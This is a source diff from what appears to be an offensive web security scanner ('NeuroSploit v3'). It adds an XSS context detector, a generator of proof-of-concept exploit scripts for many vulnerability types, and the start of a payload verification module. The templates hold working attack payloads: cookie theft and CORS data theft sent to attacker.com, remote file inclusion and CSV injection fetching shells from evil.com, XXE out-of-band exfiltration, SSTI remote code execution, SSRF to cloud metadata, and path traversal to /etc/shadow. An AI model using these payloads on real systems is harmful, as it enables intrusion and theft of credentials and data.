("email",): + form_data[name] = "test@test.com" + elif name.lower() in ("website", "url"): + form_data[name] = "http://test.com" + elif name.lower() in ("name",): + form_data[name] = "TestUser" + elif inp_type == "textarea": + form_data[name] = payload_value + else: + form_data[name] = inp_value if inp_value else "test" + return form_data + + # ==================== ADAPTIVE XSS ENGINE ==================== + + def _detect_xss_context_enhanced(self, body: str, canary: str) -> Dict[str, Any]: + """Enhanced XSS context detection supporting 12+ injection contexts. + + Returns dict with: context, before_context, after_context, enclosing_tag, + attribute_name, quote_char, can_break_out + """ + result = { + "context": "unknown", + "before_context": "", + "after_context": "", + "enclosing_tag": "", + "attribute_name": "", + "quote_char": "", + "can_break_out": True, + } + + idx = body.find(canary) + if idx == -1: + return result + + before = body[max(0, idx - 150):idx] + after = body[idx + len(canary):idx + len(canary) + 80] + result["before_context"] = before + result["after_context"] = after + before_lower = before.lower() + + # Safe containers (block execution, need breakout) + if re.search(r']*>[^<]*$', before_lower, re.DOTALL): + result["context"] = "textarea" + return result + if re.search(r']*>[^<]*$', before_lower, re.DOTALL): + result["context"] = "title" + return result + if re.search(r']*>[^<]*$', before_lower, re.DOTALL): + result["context"] = "noscript" + return result + + # HTML comment + if '' not in before[before.rfind(' + +{fields_html} + + + + +
+

Manual Verification:

+
+curl -X POST '{self._escape_curl(action_url)}' \\
+  -H 'Content-Type: application/x-www-form-urlencoded' \\
+  -H 'Cookie: session=VICTIM_SESSION_COOKIE' \\
+  -d '{self._escape_curl(param + "=pwned") if param else "action=update"}'
+        
+
+ +""" + + def _poc_xss_reflected(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + parsed = urlparse(url) + if param and payload: + exploit_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{quote(param)}={quote(payload)}" + else: + exploit_url = url + + return f""" + + + Reflected XSS Proof of Concept + + + +
+

Reflected XSS Proof of Concept

+

Target: {self._escape_html(url)}

+

Parameter: {self._escape_html(param)}

+

Payload: {self._escape_html(payload)}

+

Evidence: {self._escape_html(evidence[:300])}

+
+ +

Exploit URL:

+
{self._escape_html(exploit_url)}
+ +

curl Verification:

+
curl -s '{self._escape_curl(exploit_url)}' | grep -i 'script\\|alert\\|onerror\\|onload'
+ +

Python Verification:

+
+import requests
+
+url = "{self._escape_py(url)}"
+params = {{"{self._escape_py(param)}": "{self._escape_py(payload)}"}}
+
+resp = requests.get(url, params=params, verify=False)
+payload_str = "{self._escape_py(payload)}"
+
+if payload_str in resp.text:
+    print(f"[VULNERABLE] Payload reflected in response")
+    print(f"Status: {{resp.status_code}}")
+else:
+    print("[NOT REFLECTED] Payload not found in response")
+    
+ +""" + + def _poc_xss_stored(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return f""" + + + +

Step 1 - Inject Payload:

+
+curl -X POST '{self._escape_curl(url)}' \\
+  -H 'Content-Type: application/x-www-form-urlencoded' \\
+  -d '{self._escape_curl(param)}={self._escape_curl(payload)}'
+
+ + +

Step 2 - Verify Storage:

+
+import requests
+
+# Step 1: Submit stored payload
+session = requests.Session()
+data = {{"{self._escape_py(param)}": "{self._escape_py(payload)}"}}
+resp = session.post("{self._escape_py(url)}", data=data, verify=False)
+print(f"Injection response: {{resp.status_code}}")
+
+# Step 2: Visit page to check if payload persists
+resp2 = session.get("{self._escape_py(url)}", verify=False)
+if "{self._escape_py(payload)}" in resp2.text:
+    print("[VULNERABLE] Stored XSS - payload persists in page!")
+else:
+    print("[CHECK MANUALLY] Payload may render on a different page")
+
+ + +

Step 3 - Impact Demonstration (cookie exfiltration):

+
+Payload: <script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
+
""" + + def _poc_xss(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + """Generic XSS PoC fallback (xss_dom, blind_xss, mutation_xss)""" + return self._poc_xss_reflected(url, param, payload, evidence, method) + + def _poc_open_redirect(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + parsed = urlparse(url) + exploit_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{quote(param)}={quote(payload)}" + + return f""" + +Open Redirect PoC + + +
+

Open Redirect PoC

+

Target: {self._escape_html(url)}

+

Parameter: {self._escape_html(param)}

+

Redirect to: {self._escape_html(payload)}

+
+

Exploit URL:

+
{self._escape_html(exploit_url)}
+

Verification:

+
curl -v '{self._escape_curl(exploit_url)}' 2>&1 | grep -i 'location:'
+""" + + def _poc_cors_misconfig(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return f""" + +CORS Misconfiguration PoC + + +
+

CORS Misconfiguration PoC

+

Target: {self._escape_html(url)}

+

Evidence: {self._escape_html(evidence[:200])}

+

This page demonstrates cross-origin data theft via misconfigured CORS headers.

+
+ +

JavaScript Exploit:

+
+// Host this on attacker-controlled domain
+fetch('{self._escape_html(url)}', {{
+    method: 'GET',
+    credentials: 'include'  // Send victim's cookies
+}})
+.then(response => response.text())
+.then(data => {{
+    console.log('Stolen data:', data);
+    // Exfiltrate: fetch('https://attacker.com/log?data=' + encodeURIComponent(data));
+}})
+.catch(err => console.error('CORS blocked:', err));
+
+ +

curl Verification:

+
+curl -H "Origin: https://evil.com" \\
+  -H "Cookie: session=VICTIM_COOKIE" \\
+  -v '{self._escape_curl(url)}' 2>&1 | grep -i 'access-control'
+
+ + +
Click button to test...
+ + +""" + + # ─── Injection PoCs (Python + curl) ───────────────────────────────── + + def _poc_sqli(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + """SQL Injection PoC (covers sqli_error, sqli_union, sqli_blind, sqli_time)""" + return f"""#!/usr/bin/env python3 +\"\"\"SQL Injection Proof of Concept +Target: {url} +Parameter: {param} +Payload: {payload} +Evidence: {evidence[:200]} +\"\"\" +import requests +import urllib3 +urllib3.disable_warnings() + +TARGET = "{self._escape_py(url)}" +PARAM = "{self._escape_py(param)}" +PAYLOAD = "{self._escape_py(payload)}" + +def test_sqli(): + print(f"[*] Testing SQL Injection on {{TARGET}}") + print(f"[*] Parameter: {{PARAM}}") + print(f"[*] Payload: {{PAYLOAD}}") + print() + + # Test 1: Original payload + params = {{PARAM: PAYLOAD}} + resp = requests.{method.lower()}(TARGET, {'params=params' if method.upper() == 'GET' else 'data=params'}, verify=False, timeout=15) + print(f"[*] Response status: {{resp.status_code}}") + print(f"[*] Response length: {{len(resp.text)}}") + + # Check for SQL error indicators + sql_errors = [ + "SQL syntax", "mysql_", "ORA-", "PostgreSQL", "sqlite3", + "ODBC", "syntax error", "unclosed quotation", "unterminated", + "Microsoft SQL", "Warning: mysql", "SQLSTATE" + ] + for error in sql_errors: + if error.lower() in resp.text.lower(): + print(f"[!] SQL Error detected: {{error}}") + + # Test 2: Boolean-based detection + print("\\n[*] Boolean-based test:") + true_payload = PAYLOAD.replace("'", "' OR '1'='1") + false_payload = PAYLOAD.replace("'", "' OR '1'='2") + r_true = requests.{method.lower()}(TARGET, {'params' if method.upper() == 'GET' else 'data'}={{PARAM: true_payload}}, verify=False, timeout=15) + r_false = requests.{method.lower()}(TARGET, {'params' if method.upper() == 'GET' else 'data'}={{PARAM: false_payload}}, verify=False, timeout=15) + if len(r_true.text) != len(r_false.text): + print(f"[!] Boolean difference detected: true={{len(r_true.text)}} vs false={{len(r_false.text)}}") + else: + print(f"[*] No boolean difference (both {{len(r_true.text)}} bytes)") + + # Test 3: Time-based detection + import time + print("\\n[*] Time-based test:") + time_payload = f"{{PARAM}}' OR SLEEP(3)-- -" + start = time.time() + try: + requests.{method.lower()}(TARGET, {'params' if method.upper() == 'GET' else 'data'}={{PARAM: time_payload}}, verify=False, timeout=15) + except requests.Timeout: + pass + elapsed = time.time() - start + if elapsed >= 2.5: + print(f"[!] Time delay detected: {{elapsed:.1f}}s (possible blind SQLi)") + else: + print(f"[*] No significant delay: {{elapsed:.1f}}s") + +if __name__ == "__main__": + test_sqli() + +# curl equivalent: +# curl -v '{self._escape_curl(url)}?{self._escape_curl(param)}={self._escape_curl(payload)}' +""" + + def _poc_command_injection(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return f"""#!/usr/bin/env python3 +\"\"\"Command Injection Proof of Concept +Target: {url} +Parameter: {param} +Payload: {payload} +\"\"\" +import requests +import urllib3 +urllib3.disable_warnings() + +TARGET = "{self._escape_py(url)}" +PARAM = "{self._escape_py(param)}" + +# Test payloads - from benign detection to impact demonstration +PAYLOADS = [ + "{self._escape_py(payload)}", # Original finding payload + "; id", # Unix identity + "| whoami", # Current user + "; cat /etc/hostname", # Hostname + "$(sleep 3)", # Time-based blind + "`sleep 3`", # Backtick time-based +] + +def test_rce(): + import time + print(f"[*] Testing Command Injection on {{TARGET}}") + for p in PAYLOADS: + start = time.time() + params = {{PARAM: p}} + try: + resp = requests.{method.lower()}(TARGET, {'params=params' if method.upper() == 'GET' else 'data=params'}, verify=False, timeout=15) + elapsed = time.time() - start + print(f"\\n[*] Payload: {{p}}") + print(f" Status: {{resp.status_code}} | Length: {{len(resp.text)}} | Time: {{elapsed:.1f}}s") + # Check for command output indicators + if any(x in resp.text for x in ["uid=", "root:", "www-data", "/bin/"]): + print(f" [!] Command output detected in response!") + if elapsed >= 2.5: + print(f" [!] Time delay detected - possible blind RCE") + except Exception as e: + print(f" Error: {{e}}") + +if __name__ == "__main__": + test_rce() + +# curl: +# curl '{self._escape_curl(url)}?{self._escape_curl(param)}={self._escape_curl(payload)}' +""" + + def _poc_ssti(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return f"""#!/usr/bin/env python3 +\"\"\"Server-Side Template Injection (SSTI) Proof of Concept +Target: {url} +Parameter: {param} +Payload: {payload} +\"\"\" +import requests +import urllib3 +urllib3.disable_warnings() + +TARGET = "{self._escape_py(url)}" +PARAM = "{self._escape_py(param)}" + +# Detection payloads for various template engines +PAYLOADS = {{ + "Jinja2/Twig": "{{{{7*7}}}}", + "Jinja2 RCE": "{{{{config.__class__.__init__.__globals__['os'].popen('id').read()}}}}", + "Twig": "{{{{_self.env.registerUndefinedFilterCallback('system')}}}}{{{{_self.env.getFilter('id')}}}}", + "Freemarker": "${{{{7*7}}}}", + "Velocity": "#set($x=7*7)$x", + "Smarty": "{{{{php}}}}echo `id`;{{{{/php}}}}", + "Original": "{self._escape_py(payload)}", +}} + +def test_ssti(): + print(f"[*] Testing SSTI on {{TARGET}}") + for engine, p in PAYLOADS.items(): + params = {{PARAM: p}} + try: + resp = requests.{method.lower()}(TARGET, {'params=params' if method.upper() == 'GET' else 'data=params'}, verify=False, timeout=15) + print(f"\\n[*] {{engine}}: {{p[:60]}}") + # Check if math was evaluated + if "49" in resp.text and "7*7" not in resp.text: + print(f" [!] Template evaluated! '49' found in response ({{engine}})") + elif "uid=" in resp.text: + print(f" [!] RCE achieved! Command output in response") + else: + print(f" [-] No evaluation detected ({{resp.status_code}})") + except Exception as e: + print(f" Error: {{e}}") + +if __name__ == "__main__": + test_ssti() + +# curl: +# curl '{self._escape_curl(url)}?{self._escape_curl(param)}={self._escape_curl(payload)}' +""" + + def _poc_ssrf(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return f"""#!/usr/bin/env python3 +\"\"\"Server-Side Request Forgery (SSRF) Proof of Concept +Target: {url} +Parameter: {param} +Payload: {payload} +\"\"\" +import requests +import urllib3 +urllib3.disable_warnings() + +TARGET = "{self._escape_py(url)}" +PARAM = "{self._escape_py(param)}" + +# SSRF test payloads +PAYLOADS = [ + "{self._escape_py(payload)}", # Original payload + "http://169.254.169.254/latest/meta-data/", # AWS metadata + "http://metadata.google.internal/", # GCP metadata + "http://127.0.0.1:80", # Localhost + "http://127.0.0.1:8080", # Internal services + "http://localhost:6379", # Redis + "file:///etc/passwd", # File read via SSRF +] + +def test_ssrf(): + print(f"[*] Testing SSRF on {{TARGET}}") + for p in PAYLOADS: + params = {{PARAM: p}} + try: + resp = requests.{method.lower()}(TARGET, {'params=params' if method.upper() == 'GET' else 'data=params'}, verify=False, timeout=10) + print(f"\\n[*] Payload: {{p[:60]}}") + print(f" Status: {{resp.status_code}} | Length: {{len(resp.text)}}") + # Check for internal data indicators + if any(x in resp.text for x in ["ami-id", "instance-id", "root:", "169.254"]): + print(f" [!] Internal data leaked!") + except Exception as e: + print(f" Timeout/Error: {{e}}") + +if __name__ == "__main__": + test_ssrf() + +# curl: +# curl '{self._escape_curl(url)}?{self._escape_curl(param)}={self._escape_curl(payload)}' +""" + + def _poc_ssrf_cloud(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return self._poc_ssrf(url, param, payload, evidence, method) + + def _poc_lfi(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return self._poc_path_traversal(url, param, payload, evidence, method) + + def _poc_rfi(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return f"""#!/usr/bin/env python3 +\"\"\"Remote File Inclusion (RFI) Proof of Concept +Target: {url} +Parameter: {param} +\"\"\" +import requests +import urllib3 +urllib3.disable_warnings() + +TARGET = "{self._escape_py(url)}" +PARAM = "{self._escape_py(param)}" + +PAYLOADS = [ + "{self._escape_py(payload)}", + "https://evil.com/shell.txt", + "http://attacker.com/phpinfo.php", + "data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==", +] + +def test_rfi(): + print(f"[*] Testing Remote File Inclusion on {{TARGET}}") + for p in PAYLOADS: + resp = requests.{method.lower()}(TARGET, {'params' if method.upper() == 'GET' else 'data'}={{PARAM: p}}, verify=False, timeout=10) + print(f"[*] Payload: {{p[:60]}} -> Status: {{resp.status_code}}, Length: {{len(resp.text)}}") + +if __name__ == "__main__": + test_rfi() + +# curl: +# curl '{self._escape_curl(url)}?{self._escape_curl(param)}={self._escape_curl(payload)}' +""" + + def _poc_path_traversal(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return f"""#!/usr/bin/env python3 +\"\"\"Path Traversal / Local File Inclusion Proof of Concept +Target: {url} +Parameter: {param} +Payload: {payload} +\"\"\" +import requests +import urllib3 +urllib3.disable_warnings() + +TARGET = "{self._escape_py(url)}" +PARAM = "{self._escape_py(param)}" + +PAYLOADS = [ + "{self._escape_py(payload)}", + "../../../etc/passwd", + "....//....//....//etc/passwd", + "..%2f..%2f..%2fetc%2fpasswd", + "..\\\\..\\\\..\\\\windows\\\\system32\\\\drivers\\\\etc\\\\hosts", + "/etc/passwd", + "....//....//....//etc/shadow", +] + +def test_lfi(): + print(f"[*] Testing Path Traversal on {{TARGET}}") + for p in PAYLOADS: + resp = requests.{method.lower()}(TARGET, {'params' if method.upper() == 'GET' else 'data'}={{PARAM: p}}, verify=False, timeout=10) + print(f"\\n[*] Payload: {{p}}") + print(f" Status: {{resp.status_code}} | Length: {{len(resp.text)}}") + if "root:" in resp.text or "daemon:" in resp.text: + print(f" [!] /etc/passwd content detected!") + print(f" First 200 chars: {{resp.text[:200]}}") + break + +if __name__ == "__main__": + test_lfi() + +# curl: +# curl '{self._escape_curl(url)}?{self._escape_curl(param)}={self._escape_curl(payload)}' +""" + + def _poc_arbitrary_file_read(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return self._poc_path_traversal(url, param, payload, evidence, method) + + def _poc_nosql(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return f"""#!/usr/bin/env python3 +\"\"\"NoSQL Injection Proof of Concept +Target: {url} +Parameter: {param} +\"\"\" +import requests +import json +import urllib3 +urllib3.disable_warnings() + +TARGET = "{self._escape_py(url)}" + +# NoSQL injection payloads +PAYLOADS = [ + # MongoDB operator injection + {{"{self._escape_py(param)}[$ne]": ""}}, + {{"{self._escape_py(param)}[$gt]": ""}}, + {{"{self._escape_py(param)}[$regex]": ".*"}}, + # JSON body injection + {{"$where": "1==1"}}, +] + +def test_nosql(): + print(f"[*] Testing NoSQL Injection on {{TARGET}}") + # Test with query params + for p in PAYLOADS[:3]: + resp = requests.get(TARGET, params=p, verify=False, timeout=10) + print(f"[*] Payload: {{p}} -> Status: {{resp.status_code}}, Length: {{len(resp.text)}}") + + # Test with JSON body + for p in PAYLOADS[3:]: + resp = requests.post(TARGET, json=p, verify=False, timeout=10) + print(f"[*] JSON Payload: {{p}} -> Status: {{resp.status_code}}, Length: {{len(resp.text)}}") + +if __name__ == "__main__": + test_nosql() +""" + + # ─── Header-based PoCs (curl + Python) ────────────────────────────── + + def _poc_crlf_injection(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return f"""# CRLF Injection Proof of Concept +# Target: {url} +# Injection Point: HTTP Header ({param or 'X-Forwarded-For'}) +# Payload: {payload} + +# Method 1: curl with header injection +curl -v -H "{self._escape_curl(param or 'X-Forwarded-For')}: {self._escape_curl(payload)}" \\ + '{self._escape_curl(url)}' + +# Method 2: curl with URL-based CRLF +curl -v '{self._escape_curl(url)}%0d%0aInjected-Header:%20true' + +# Method 3: Python verification +python3 -c " +import requests +import urllib3 +urllib3.disable_warnings() + +url = '{self._escape_py(url)}' +# Test CRLF in header +headers = {{'{self._escape_py(param or "X-Forwarded-For")}': '{self._escape_py(payload)}'}} +resp = requests.get(url, headers=headers, verify=False, allow_redirects=False) +print(f'Status: {{resp.status_code}}') +print('Response Headers:') +for k, v in resp.headers.items(): + print(f' {{k}}: {{v}}') + if 'injected' in v.lower() or 'set-cookie' in k.lower(): + print(f' [!] CRLF injection confirmed: {{k}}: {{v}}') +" + +# What to look for: +# - Injected headers in response (e.g., Set-Cookie, X-Injected) +# - Response splitting (HTTP/1.1 200 appearing in body) +# - Header value reflection with CRLF characters preserved +""" + + def _poc_header_injection(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return self._poc_crlf_injection(url, param, payload, evidence, method) + + def _poc_host_header_injection(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return f"""# Host Header Injection Proof of Concept +# Target: {url} +# Evidence: {evidence[:200]} + +# Test 1: Override Host header +curl -v -H "Host: evil.com" '{self._escape_curl(url)}' + +# Test 2: X-Forwarded-Host +curl -v -H "X-Forwarded-Host: evil.com" '{self._escape_curl(url)}' + +# Test 3: Absolute URL with different Host +curl -v -H "Host: evil.com" \\ + --resolve "evil.com:443:{urlparse(url).netloc.split(':')[0]}" \\ + '{self._escape_curl(url)}' + +# Python verification: +python3 -c " +import requests +import urllib3 +urllib3.disable_warnings() + +url = '{self._escape_py(url)}' +tests = [ + {{'Host': 'evil.com'}}, + {{'X-Forwarded-Host': 'evil.com'}}, + {{'X-Host': 'evil.com'}}, +] +for headers in tests: + resp = requests.get(url, headers=headers, verify=False, allow_redirects=False) + print(f'Headers: {{headers}}') + print(f' Status: {{resp.status_code}}') + if 'evil.com' in resp.text or 'evil.com' in str(resp.headers): + print(' [!] Host header reflected in response!') + print() +" + +# Impact: Password reset poisoning, cache poisoning, redirect to attacker domain +""" + + def _poc_http_smuggling(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return f"""# HTTP Request Smuggling Proof of Concept +# Target: {url} +# WARNING: This can cause unintended side effects on shared infrastructure + +# CL.TE detection (Content-Length vs Transfer-Encoding) +printf 'POST / HTTP/1.1\\r\\nHost: {urlparse(url).netloc}\\r\\nContent-Length: 6\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\n\\r\\nG' | \\ + ncat --ssl {urlparse(url).netloc} 443 + +# Python detection: +python3 -c " +import socket, ssl + +host = '{urlparse(url).netloc}' +smuggle = ( + 'POST / HTTP/1.1\\r\\n' + 'Host: ' + host + '\\r\\n' + 'Content-Length: 6\\r\\n' + 'Transfer-Encoding: chunked\\r\\n' + '\\r\\n' + '0\\r\\n' + '\\r\\n' + 'G' +) +context = ssl.create_default_context() +with socket.create_connection((host, 443)) as sock: + with context.wrap_socket(sock, server_hostname=host) as ssock: + ssock.sendall(smuggle.encode()) + response = ssock.recv(4096).decode('utf-8', errors='replace') + print(response[:500]) +" +""" + + def _poc_xxe(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return f"""# XML External Entity (XXE) Injection Proof of Concept +# Target: {url} + +# Method 1: curl with XXE payload +curl -X POST '{self._escape_curl(url)}' \\ + -H 'Content-Type: application/xml' \\ + -d ' + +]> + + &xxe; +' + +# Method 2: Python verification +python3 -c " +import requests +import urllib3 +urllib3.disable_warnings() + +url = '{self._escape_py(url)}' +# Basic XXE - read /etc/passwd +xml_payload = ''' + +]> +&xxe;''' + +resp = requests.post(url, data=xml_payload, + headers={{'Content-Type': 'application/xml'}}, verify=False, timeout=10) +print(f'Status: {{resp.status_code}}') +if 'root:' in resp.text: + print('[!] XXE confirmed - /etc/passwd content:') + print(resp.text[:500]) +else: + print('Response:', resp.text[:300]) +" + +# Blind XXE (out-of-band): +# Host a DTD file on attacker server with: +# +# "> +# %eval; %exfil; +""" + + # ─── Other injection PoCs ─────────────────────────────────────────── + + def _poc_ldap_injection(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return self._poc_generic(url, param, payload, evidence, method) + + def _poc_xpath_injection(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return self._poc_generic(url, param, payload, evidence, method) + + def _poc_expression_language_injection(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return self._poc_ssti(url, param, payload, evidence, method) + + def _poc_log_injection(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return self._poc_generic(url, param, payload, evidence, method) + + def _poc_html_injection(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return self._poc_xss_reflected(url, param, payload, evidence, method) + + def _poc_csv_injection(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return f"""# CSV Injection Proof of Concept +# Target: {url} +# Parameter: {param} +# Payload: {payload} + +# CSV injection payloads that execute when opened in Excel/Sheets: +# =cmd|'/C calc.exe'!A0 +# =HYPERLINK("http://evil.com/steal?cookie="&A1) +# +cmd|'/C powershell IEX(curl evil.com/shell)'!A0 + +curl -X POST '{self._escape_curl(url)}' \\ + -d '{self._escape_curl(param)}={self._escape_curl(payload)}' + +# Then export/download the CSV and open in Excel to trigger execution +""" + + def _poc_email_injection(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return self._poc_generic(url, param, payload, evidence, method) + + def _poc_prototype_pollution(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return f"""#!/usr/bin/env python3 +\"\"\"Prototype Pollution Proof of Concept +Target: {url} +\"\"\" +import requests +import urllib3 +urllib3.disable_warnings() + +url = "{self._escape_py(url)}" + +# Prototype pollution payloads +payloads = [ + {{"__proto__": {{"isAdmin": True}}}}, + {{"constructor": {{"prototype": {{"isAdmin": True}}}}}}, + {{"__proto__": {{"status": 200, "role": "admin"}}}}, +] + +for p in payloads: + resp = requests.post(url, json=p, verify=False, timeout=10) + print(f"Payload: {{p}}") + print(f" Status: {{resp.status_code}}, Length: {{len(resp.text)}}") +""" + + def _poc_parameter_pollution(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return f"""# HTTP Parameter Pollution Proof of Concept +# Target: {url} + +# Supply same parameter multiple times +curl -v '{self._escape_curl(url)}?{self._escape_curl(param)}=legit&{self._escape_curl(param)}=injected' + +# POST body pollution +curl -X POST '{self._escape_curl(url)}' \\ + -d '{self._escape_curl(param)}=legit&{self._escape_curl(param)}=injected' + +# Mixed GET+POST +curl -X POST '{self._escape_curl(url)}?{self._escape_curl(param)}=legit' \\ + -d '{self._escape_curl(param)}=injected' +""" + + def _poc_cache_poisoning(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return f"""# Web Cache Poisoning Proof of Concept +# Target: {url} + +# Step 1: Poison the cache with injected header +curl -v -H "X-Forwarded-Host: evil.com" \\ + -H "X-Original-URL: /admin" \\ + '{self._escape_curl(url)}' + +# Step 2: Verify poison by requesting without header +curl -v '{self._escape_curl(url)}' + +# Check if response includes evil.com references (cache poisoned) +""" + + # ─── Inspection-type PoCs ─────────────────────────────────────────── + + def _poc_security_headers(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return f"""# Missing Security Headers Proof of Concept +# Target: {url} +# Evidence: {evidence[:200]} + +# Check all security headers: +curl -sI '{self._escape_curl(url)}' | grep -iE '^(x-frame|x-content|strict-transport|content-security|x-xss|referrer-policy|permissions-policy)' + +# What's missing is exploitable: +# - No X-Frame-Options → Clickjacking possible +# - No CSP → XSS impact amplified +# - No HSTS → MITM downgrade attacks +# - No X-Content-Type-Options → MIME sniffing attacks +""" + + def _poc_missing_hsts(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return self._poc_security_headers(url, param, payload, evidence, method) + + def _poc_missing_xcto(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return self._poc_security_headers(url, param, payload, evidence, method) + + def _poc_missing_csp(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return self._poc_security_headers(url, param, payload, evidence, method) + + def _poc_insecure_cookie_flags(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return f"""# Insecure Cookie Flags Proof of Concept +# Target: {url} + +# Check cookie attributes: +curl -sI '{self._escape_curl(url)}' | grep -i 'set-cookie' + +# Missing flags to look for: +# - Secure: Cookie sent over HTTP (interceptable via MITM) +# - HttpOnly: Cookie accessible via JavaScript (document.cookie) +# - SameSite: Cookie sent on cross-site requests (CSRF) + +# JavaScript cookie theft (if HttpOnly missing): +# +""" + + def _poc_information_disclosure(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return f"""# Information Disclosure Proof of Concept +# Target: {url} +# Evidence: {evidence[:200]} + +curl -sI '{self._escape_curl(url)}' | head -20 +curl -s '{self._escape_curl(url)}' | head -50 +""" + + def _poc_version_disclosure(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return self._poc_information_disclosure(url, param, payload, evidence, method) + + def _poc_directory_listing(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return f"""# Directory Listing Proof of Concept +# Target: {url} +# Evidence: {evidence[:200]} + +curl -s '{self._escape_curl(url)}' | grep -i 'index of\\|directory listing\\|parent directory' +""" + + def _poc_debug_mode(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return f"""# Debug Mode Exposure Proof of Concept +# Target: {url} + +curl -s '{self._escape_curl(url)}' | head -100 +# Look for: stack traces, framework details, database info, config values +""" + + def _poc_exposed_admin_panel(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return f"""# Exposed Admin Panel Proof of Concept +# Target: {url} + +curl -sI '{self._escape_curl(url)}' +curl -s '{self._escape_curl(url)}' | head -30 +# The admin panel is publicly accessible without authentication +""" + + def _poc_exposed_api_docs(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + return f"""# Exposed API Documentation Proof of Concept +# Target: {url} + +curl -s '{self._escape_curl(url)}' | python3 -m json.tool 2>/dev/null || curl -s '{self._escape_curl(url)}' | head -50 +# API documentation/Swagger/GraphQL is publicly accessible +""" + + # ─── Generic fallback ─────────────────────────────────────────────── + + def _poc_generic(self, url: str, param: str, payload: str, + evidence: str, method: str) -> str: + """Generic PoC for any vulnerability type not specifically handled.""" + if method.upper() == "GET": + curl_cmd = f"curl -v '{self._escape_curl(url)}?{self._escape_curl(param)}={self._escape_curl(payload)}'" + else: + curl_cmd = f"curl -v -X POST '{self._escape_curl(url)}' -d '{self._escape_curl(param)}={self._escape_curl(payload)}'" + + return f"""#!/usr/bin/env python3 +\"\"\"Vulnerability Proof of Concept +Target: {url} +Parameter: {param} +Payload: {payload} +Evidence: {evidence[:200]} +\"\"\" +import requests +import urllib3 +urllib3.disable_warnings() + +url = "{self._escape_py(url)}" +param = "{self._escape_py(param)}" +payload = "{self._escape_py(payload)}" + +{'params' if method.upper() == 'GET' else 'data'} = {{param: payload}} +resp = requests.{method.lower()}(url, {'params=params' if method.upper() == 'GET' else 'data=data'}, verify=False, timeout=15) + +print(f"Status: {{resp.status_code}}") +print(f"Length: {{len(resp.text)}}") +print(f"Headers: {{dict(list(resp.headers.items())[:10])}}") +if payload in resp.text: + print(f"[!] Payload reflected in response!") +print(f"\\nResponse (first 500 chars):\\n{{resp.text[:500]}}") + +# curl equivalent: +# {curl_cmd} +""" + + # ─── Escaping helpers ─────────────────────────────────────────────── + + @staticmethod + def _escape_html(s: str) -> str: + """Escape string for safe HTML embedding.""" + if not s: + return "" + return (s.replace("&", "&") + .replace("<", "<") + .replace(">", ">") + .replace('"', """) + .replace("'", "'")) + + @staticmethod + def _escape_curl(s: str) -> str: + """Escape string for curl command embedding.""" + if not s: + return "" + return s.replace("'", "'\\''") + + @staticmethod + def _escape_py(s: str) -> str: + """Escape string for Python string literal embedding.""" + if not s: + return "" + return s.replace("\\", "\\\\").replace('"', '\\"').replace("\n", "\\n") diff --git a/backend/core/proof_of_execution.py b/backend/core/proof_of_execution.py new file mode 100644 index 0000000..2ed7e9a --- /dev/null +++ b/backend/core/proof_of_execution.py @@ -0,0 +1,873 @@ +""" +NeuroSploit v3 - Proof of Execution Framework + +Per-vulnerability-type verification that a payload was actually PROCESSED +by the application, not just reflected or ignored. Each vuln type has specific +proof requirements — a finding without proof of execution scores 0. + +This replaces the fragmented evidence checking in _cross_validate_ai_claim() +and _strict_technical_verify() with a unified, per-type proof system. +""" + +import re +import logging +from dataclasses import dataclass, field +from typing import Dict, List, Optional, Tuple + +logger = logging.getLogger(__name__) + + +# --------------------------------------------------------------------------- +# Shared patterns (from response_verifier.py) +# --------------------------------------------------------------------------- + +DB_ERROR_PATTERNS = [ + r"(?:sql|database|query)\s*(?:error|syntax|exception)", + r"mysql_(?:fetch|query|num_rows|connect)", + r"mysqli_", + r"pg_(?:query|exec|prepare|connect)", + r"sqlite3?\.\w+error", + r"ora-\d{4,5}", + r"mssql_query", + r"sqlstate\[", + r"odbc\s+driver", + r"jdbc\s+exception", + r"unclosed\s+quotation", + r"you have an error in your sql", + r"syntax error.*at line \d+", +] + 